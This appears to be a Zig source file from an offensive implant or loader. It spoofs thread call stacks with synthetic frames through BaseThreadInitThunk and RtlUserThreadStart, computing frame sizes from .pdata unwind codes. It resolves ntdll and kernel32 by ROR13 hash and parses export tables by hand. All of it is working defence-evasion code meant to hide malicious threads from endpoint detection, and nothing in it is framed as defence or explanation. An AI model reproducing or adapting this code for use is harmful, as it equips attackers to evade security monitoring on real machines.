// Synthetic callstack frames through kernel32!BaseThreadInitThunk and
// ntdll!RtlUserThreadStart. Parses .pdata unwind codes to compute per-function
// frame sizes, asm trampoline pushes frames with correct offsets.
const std = @import("std");
const resolve = @import("resolve.zig");
const syscall = @import("syscall.zig");

extern var qFakeRtlUserThreadStart: usize;
extern var qFakeBaseThreadInitThunk: usize;
extern var qRtlUserFrameSize: usize;
extern var qBaseThreadFrameSize: usize;

const UWOP_PUSH_NONVOL: u8 = 0;
const UWOP_ALLOC_LARGE: u8 = 1;
const UWOP_ALLOC_SMALL: u8 = 2;
const UWOP_SET_FPREG: u8 = 3;
const UWOP_SAVE_NONVOL: u8 = 4;
const UWOP_SAVE_NONVOL_FAR: u8 = 5;
const UNW_FLAG_CHAININFO: u8 = 0x04;
const RBP_OP_INFO: u8 = 5;

fn calc_frame_size(mod_base: [*]const u8, unwind_rva: u32, out_size: *usize) bool {
    const info = @as(*align(1) const extern struct {
        VersionAndFlags: u8,
        SizeOfProlog: u8,
        CountOfCodes: u8,
        FrameRegister: u8,
        FrameOffset: u8,
        UnwindCode: [1]u16,
    }, @ptrCast(mod_base + unwind_rva));

    var idx: usize = 0;
    var sz: usize = 0;
    var rbp_pushed: bool = false;

    while (idx < info.CountOfCodes) : (idx += 1) {
        const code = info.UnwindCode[idx];
        const op = @as(u8, @truncate(code & 0xF));
        const info_field = @as(u8, @truncate((code >> 4) & 0xF));

        switch (op) {
            UWOP_PUSH_NONVOL => {
                if (info_field == 2 and !rbp_pushed) return false;
                if (info_field == RBP_OP_INFO) rbp_pushed = true;
                sz += 8;
            },
            UWOP_ALLOC_SMALL => sz += 8 * (@as(usize, info_field) + 1),
            UWOP_ALLOC_LARGE => {
                idx += 1;
                var frame_offset: usize = info.UnwindCode[idx];
                if (info_field == 0) {
                    frame_offset *= 8;
                } else {
                    idx += 1;
                    frame_offset += @as(usize, info.UnwindCode[idx]) << 16;
                }
                sz += frame_offset;
            },
            UWOP_SET_FPREG => {
                rbp_pushed = true;
                const fp_off: isize = -0x10 * @as(isize, @intCast(info.FrameOffset));
                sz = @as(usize, @intCast(@as(isize, @intCast(sz)) + fp_off));
            },
            UWOP_SAVE_NONVOL => {
                if (info_field == RBP_OP_INFO or info_field == 2) return false;
                idx += 1;
            },
            UWOP_SAVE_NONVOL_FAR => {
                if (info_field == RBP_OP_INFO or info_field == 2) return false;
                idx += 2;
            },
            else => {},
        }
    }

    // Chained unwind info
    if ((info.VersionAndFlags & UNW_FLAG_CHAININFO) != 0) {
        idx = info.CountOfCodes;
        if ((idx & 1) != 0) idx += 1;
        const chain_rva = @as(*align(1) const u32, @ptrCast(&info.UnwindCode[idx])).*;
        var chain_sz: usize = 0;
        _ = calc_frame_size(mod_base, chain_rva, &chain_sz);
        sz += chain_sz;
    }

    out_size.* = sz + 8;
    return true;
}

// Binary search .pdata for unwind entry covering the given RVA.
fn find_runtime_entry(target_rva: u32) ?struct { begin: u32, unwind: u32 } {
    const exc_begin = syscall.g_exc_begin;
    const exc_count = syscall.g_exc_count;
    if (exc_begin == 0 or exc_count == 0) return null;

    const funcs = @as([*]align(1) const syscall.RUNTIME_FUNCTION, @ptrFromInt(exc_begin));
    var lo: usize = 0;
    var hi: usize = exc_count;
    while (lo < hi) {
        const mid = lo + (hi - lo) / 2;
        const entry = funcs[mid];
        if (target_rva < entry.BeginAddress) {
            hi = mid;
        } else if (target_rva >= entry.EndAddress) {
            lo = mid + 1;
        } else {
            return .{ .begin = entry.BeginAddress, .unwind = entry.UnwindInfoAddress };
        }
    }
    return null;
}

fn export_rva(mod: [*]const u8, name: []const u8) ?u32 {
    const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @ptrCast(@constCast(mod)));
    if (dos.e_magic != 0x5A4D) return null;

    const nt = @as(*align(1) extern struct {
        Signature: u32,
        FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 },
        OptionalHeader: extern struct { Magic: u16, pad: [110]u8, DataDirectory: [16]extern struct { VirtualAddress: u32, Size: u32 } },
    }, @ptrCast(@constCast(mod + @as(usize, @intCast(dos.e_lfanew)))));
    if (nt.Signature != 0x00004550) return null;

    const exp_dir = nt.OptionalHeader.DataDirectory[0];
    if (exp_dir.VirtualAddress == 0) return null;

    const exp = @as(*align(1) extern struct {
        Characteristics: u32,
        TimeDateStamp: u32,
        MajorVersion: u16,
        MinorVersion: u16,
        Name: u32,
        Base: u32,
        NumberOfFunctions: u32,
        NumberOfNames: u32,
        AddressOfFunctions: u32,
        AddressOfNames: u32,
        AddressOfNameOrdinals: u32,
    }, @ptrCast(@constCast(mod + @as(usize, @intCast(exp_dir.VirtualAddress)))));

    const names = @as([*]u32, @ptrCast(@alignCast(@constCast(mod + @as(usize, @intCast(exp.AddressOfNames))))));
    const funcs = @as([*]u32, @ptrCast(@alignCast(@constCast(mod + @as(usize, @intCast(exp.AddressOfFunctions))))));
    const ords = @as([*]u16, @ptrCast(@alignCast(@constCast(mod + @as(usize, @intCast(exp.AddressOfNameOrdinals))))));

    var i: u32 = 0;
    while (i < exp.NumberOfNames) : (i += 1) {
        const n = @as([*:0]const u8, @ptrCast(@alignCast(@constCast(mod + @as(usize, @intCast(names[i]))))));
        if (std.mem.eql(u8, std.mem.sliceTo(n, 0), name)) {
            if (ords[i] < exp.NumberOfFunctions) {
                return funcs[ords[i]];
            }
        }
    }
    return null;
}

pub fn init_frames() void {
    if (qFakeRtlUserThreadStart != 0) return;

    const ntdll = resolve.get_module_by_hash(resolve.hash_ror13("ntdll.dll")) orelse return;
    const k32 = resolve.get_module_by_hash(resolve.hash_ror13("kernel32.dll")) orelse return;
    const ntdll_bytes = @as([*]const u8, @ptrCast(ntdll));
    const k32_bytes = @as([*]const u8, @ptrCast(k32));

    const btit_rva = export_rva(k32_bytes, "BaseThreadInitThunk") orelse return;
    if (find_runtime_entry(btit_rva)) |entry| {
        var fs: usize = 0;
        if (calc_frame_size(k32_bytes, entry.unwind, &fs)) {
            qFakeBaseThreadInitThunk = @intFromPtr(k32) + entry.begin;
            qBaseThreadFrameSize = fs;
        }
    }

    const rust_rva = export_rva(ntdll_bytes, "RtlUserThreadStart") orelse return;
    if (find_runtime_entry(rust_rva)) |entry| {
        var fs: usize = 0;
        if (calc_frame_size(ntdll_bytes, entry.unwind, &fs)) {
            qFakeRtlUserThreadStart = @intFromPtr(ntdll) + entry.begin;
            qRtlUserFrameSize = fs;
        }
    }
}
